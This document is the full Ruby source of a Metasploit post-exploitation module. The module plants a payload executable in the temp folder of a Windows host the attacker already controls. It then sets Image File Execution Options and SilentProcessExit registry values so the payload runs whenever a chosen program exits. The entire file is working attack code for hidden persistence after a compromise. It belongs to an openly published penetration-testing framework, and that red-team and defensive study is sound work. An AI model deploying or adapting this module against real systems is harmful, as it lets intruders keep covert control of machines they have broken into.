Microsoft Windows Silent Process Exit Persistence Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Registry
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows Silent Process Exit Persistence',
      'Description'    => %q(
      Windows allows you to set up a debug process when a process exits.
      This module uploads a payload and declares that it is the debug
      process to launch when a specified process exits.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mithun Shanbhag', # earliest author found
          'bwatters-r7', # msf module
        ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter', 'shell' ],
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => "Jun 28 2008",
      'References'     =>
        [
          ['URL', 'https://attack.mitre.org/techniques/T1183/'],
          ['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
        ],
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => 'true'
        }
    ))
    register_options([
      OptString.new('PAYLOAD_NAME',
                    [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
      OptString.new('PATH', [false, 'Path to write payload(%TEMP% by default).', nil]),
      OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])

    ])
  end

  def upload_payload(dest_pathname)
    payload_exe = generate_payload_exe
    write_file(dest_pathname, payload_exe)
    vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
  end

  def validate_active_host
    unless is_system?
      fail_with(Failure::NoAccess, "You must be System to run this Module")
    end

    begin
      print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      raise Msf::Exploit::Failed, 'Could not connect to session'
    end
  end

  def write_reg_keys(image_file, payload_pathname)
    reg_keys = []
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
                  value_name: "GlobalFlag",
                  type: "REG_DWORD",
                  value_value: 512)
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
                   value_name: "ReportingMode",
                   type: "REG_DWORD",
                   value_value: 1)
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
                   value_name: "MonitorProcess",
                   type: "REG_SZ",
                   value_value: payload_pathname)
    silent_process_exit_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit"
    registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
    reg_keys.each do |key|
      registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
      vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")
      registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])
      unless registry_getvalinfo(key[:key_name], key[:value_name])
        print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")
        return false
      end
    end
  end

  def exploit
    validate_active_host
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
    temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
    image_file = datastore['IMAGE_FILE']
    payload_pathname = temp_path + "\\" + payload_name + '.exe'
    vprint_status("Payload pathname = #{payload_pathname}")
    upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
  end
end